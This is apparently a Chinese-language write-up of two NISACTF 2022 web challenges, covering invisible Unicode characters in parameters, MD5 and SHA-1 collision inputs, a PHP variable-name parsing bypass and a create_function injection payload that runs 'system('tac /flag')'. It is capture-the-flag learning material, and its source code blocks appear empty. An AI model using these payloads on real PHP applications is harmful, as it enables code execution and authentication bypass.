Web trick
[NISACTF 2022]checkin(Unicode)
题目分析
参考文章:
【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx (xiinnn.com)
题解
1、打开看到源码
1 |
|
2、当我们传参ahahahaha=jitanglailo&cuishiyuan=N1SACTF时,并不能通过
3、将代码复制到vscode里面发现猫腻
有不可见字符,在传参时要把这些不可见字符也输入。参考文章里面是在010editor
里面查看,并且复制转码URL的,这样太麻烦。可以直接在vscode
里面写好payload
,复制到网页上粘贴。
4、payload:
解题心得
长见识了,url有这么多花样
[NISACTF 2022]level-up(dirmap扫描,md5碰撞,变量解析,create_function注入)
题目分析
参考文章:
[NISACTF 2022]WriteUp web篇_Pysnow的博客-CSDN博客
[NISACTF 2022]level-up - traveller-2333 - 博客园 (cnblogs.com)
level1:robots.txt读取
level2/level3:哈希碰撞
level 4 变量解析:PHP 对输入变量名的自动转换的问题与源码分析 - 腾讯云开发者社区-腾讯云 (tencent.com)
level 5:create_function函数注入:(18条消息) PHP create_function()代码注入 (执行脚本函数)_峻峰飞阳的博客-CSDN博客
题解
1、打开后被告知nothing here,用dirmap进行扫描,发现一个robots.txt文件
2、查看后,进入到level2
,这是一个md5碰撞,因为有$a1 == $a2
,所以不能用数组绕过的方法,只能硬解。从网上搜到的满足碰撞的一对md5值
1 | M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
1 | M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
1 |
|
构造payload,通过Burp抓包的方式发包,用hackbar
会不成功(暂不知道原因)
1 | array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
完成这一关,拿到第三关的文件
3、进入到level3
,和level2
差不多,只不过把加密算法换成shal
1 |
|
1 | array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 |
1 | &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
4、进入到level4
1 |
|
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM
=>CTF_SHOW.COM
payload:
1 | NI+SA+=txw4ever |
5、进入到level5
1 |
|
这里考察一个create_function函数注入,这个函数的效果和匿名函数一样
create_function(string $args, string $code): string
:从传递的参数中创建动态参数,并返回它的唯一名字。
payload:
1 | ?a=\create_function&b=}system('tac /flag');// |
解题心得
这道题知识点很多,收获很大